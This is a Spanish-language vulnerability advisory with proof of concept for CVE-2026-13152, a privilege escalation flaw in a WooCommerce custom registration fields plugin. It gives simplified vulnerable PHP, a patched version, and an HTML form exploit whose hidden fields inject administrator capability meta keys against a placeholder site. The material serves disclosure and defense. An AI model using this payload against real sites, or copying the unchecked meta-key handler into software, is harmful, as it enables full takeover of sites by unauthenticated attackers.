
CVE-2026-13152: PoC y aviso de escalada de privilegios no autenticada en el registro de cuentas con campos personalizados para WooCommerce por Huynh Kien Minh (MinhHK).
CVE-2026-13152 es una vulnerabilidad de escalada de privilegios no autenticada que afecta al plugin de WordPress Custom Fields Account Registration For WooCommerce en versiones anteriores a la 1.4, descubierta y analizada por el investigador de seguridad Huynh Kien Minh (MinhHK). El fallo se produce porque el plugin permite que los campos de entrada personalizados del registro escriban directamente en los metadatos sensibles de capacidades de usuario, sin sanear las claves protegidas de la base de datos ni validar los roles de usuario. En sitios que utilizan prefijos de tablas de base de datos no predeterminados o asignaciones personalizadas de meta keys de usuario, un usuario no autenticado que se registra a través del formulario de registro de WooCommerce puede inyectar privilegios de administrador (como wp_user_level o wp_capabilities) en la tabla wp_usermeta. Esto concede a la cuenta recién creada acceso total de administrador, lo que permite el compromiso remoto completo del sitio. El investigador de seguridad Huynh Kien Minh reportó la vulnerabilidad a WPScan, y el proveedor resolvió el problema en la versión 1.4 implementando la validación de nombres de clave y restringiendo la asignación de metadatos de capacidades.
El plugin Custom Fields Account Registration For WooCommerce permite a los administradores del sitio definir campos de entrada personalizados en el formulario de registro de usuarios de WooCommerce (endpoint de registro my-account). Cuando un nuevo usuario envía el formulario de registro, el plugin itera sobre los campos del formulario enviados y llama a update_user_meta($user_id, $meta_key, $meta_value) para guardar los detalles del usuario.
El fallo subyacente reside en la lógica de procesamiento de entradas dentro del manejador de registro. El plugin no mantiene una lista negra o lista blanca estricta de las meta keys de usuario protegidas de WordPress (wp_capabilities, wp_user_level, session_tokens, wp_user_roles).
// Vulnerable registration handler logic (simplified demonstration)
add_action('woocommerce_created_customer', 'cfar_save_custom_registration_fields', 10, 3);
function cfar_save_custom_registration_fields($customer_id, $new_customer_data, $password_generated) {
if (isset($_POST['cfar_custom_fields']) && is_array($_POST['cfar_custom_fields'])) {
foreach ($_POST['cfar_custom_fields'] as $meta_key => $meta_value) {
// VULNERABILITY: No check against protected meta keys like wp_capabilities or wp_user_level
update_user_meta($customer_id, sanitize_text_field($meta_key), sanitize_text_field($meta_value));
}
}
}
En instalaciones de WordPress que utilizan prefijos de base de datos personalizados o configuraciones de meta keys personalizadas, un atacante no autenticado puede proporcionar una entrada de campo personalizada que coincida con la clave de capacidad de administrador (wp_user_level = 10 o el array serializado a:1:{s:13:"administrator";b:1;}). Al crearse la cuenta, update_user_meta() escribe este valor directamente en wp_usermeta, elevando la cuenta recién registrada al estado de Administrador completo.
[!CAUTION] Esta Prueba de Concepto se proporciona estrictamente con fines educativos, auditoría defensiva y verificación de vulnerabilidades. Solo pruebas autorizadas.
<!-- CVE-2026-13152 PoC: Unauthenticated Privilege Escalation Payload -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>PoC - CVE-2026-13152 Privilege Escalation</title>
</head>
<body>
<h2>CVE-2026-13152 Exploit Payload</h2>
<form action="https://target-site.com/my-account/" method="POST">
<input type="email" name="email" value="[email protected]" required>
<input type="password" name="password" value="P@ssword123!" required>
<!-- Malicious Meta Key Injection targeting User Level -->
<input type="hidden" name="cfar_custom_fields[wp_user_level]" value="10">
<input type="hidden" name="cfar_custom_fields[wp_capabilities][administrator]" value="1">
<input type="submit" name="register" value="Register as Administrator">
</form>
</body>
</html>
Custom Fields Account Registration For WooCommerce a la versión 1.4 o superior, donde se aplica una validación estricta de las meta keys.// Secure implementation in Version 1.4
$protected_keys = array('wp_capabilities', 'wp_user_level', 'user_level', 'session_tokens');
if (!in_array($meta_key, $protected_keys, true) && strpos($meta_key, 'wp_') !== 0) {
update_user_meta($customer_id, $meta_key, $meta_value);
}
{
"@context": "https://schema.org",
"@graph": [
{
"@type": "TechArticle",
"@id": "https://github.com/MinhHK68/CVE-2026-13152#article",
"headline": "Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13152 — Custom Fields Account Registration For WooCommerce Privilege Escalation",
"name": "CVE-2026-13152 Technical Analysis",
"author": {
"@type": "Person",
"@id": "https://minhhk.web.app/#person",
"name": "Huynh Kien Minh",
"alternateName": ["MinhHK", "Huỳnh Kiến Minh"],
"jobTitle": "Information Security Researcher",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-07-06",
"dateModified": "2026-08-01",
"description": "Comprehensive technical analysis and PoC for CVE-2026-13152, an unauthenticated privilege escalation vulnerability in Custom Fields Account Registration For WooCommerce < 1.4 discovered by Huynh Kien Minh."
},
{
"@type": "SpecialAnnouncement",
"@id": "https://github.com/MinhHK68/CVE-2026-13152#advisory",
"name": "CVE-2026-13152 Security Advisory",
"category": "https://schema.org/SecurityAdvisory",
"text": "Unauthenticated Privilege Escalation in Custom Fields Account Registration For WooCommerce < 1.4 allows remote attackers to gain administrator rights."
}
]
}
| Atributo | Detalles |
|---|
| ID CVE | CVE-2026-13152 |
| Nombre del Plugin | Custom Fields Account Registration For WooCommerce |
| Slug del Plugin | custom-fields-account-registration-for-woocommerce |
| Versiones Afectadas | < 1.4 |
| Versión Corregida | 1.4 |
| Tipo de Vulnerabilidad | Escalada de Privilegios No Autenticada (CWE-269 / OWASP A2) |
| Puntuación CVSS v3.1 | 8.1 (Alta) (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Investigador Original | Huynh Kien Minh (MinhHK) |
| ID de Aviso de WPScan | 36aaba38-3143-4e80-8386-748632ff6704 |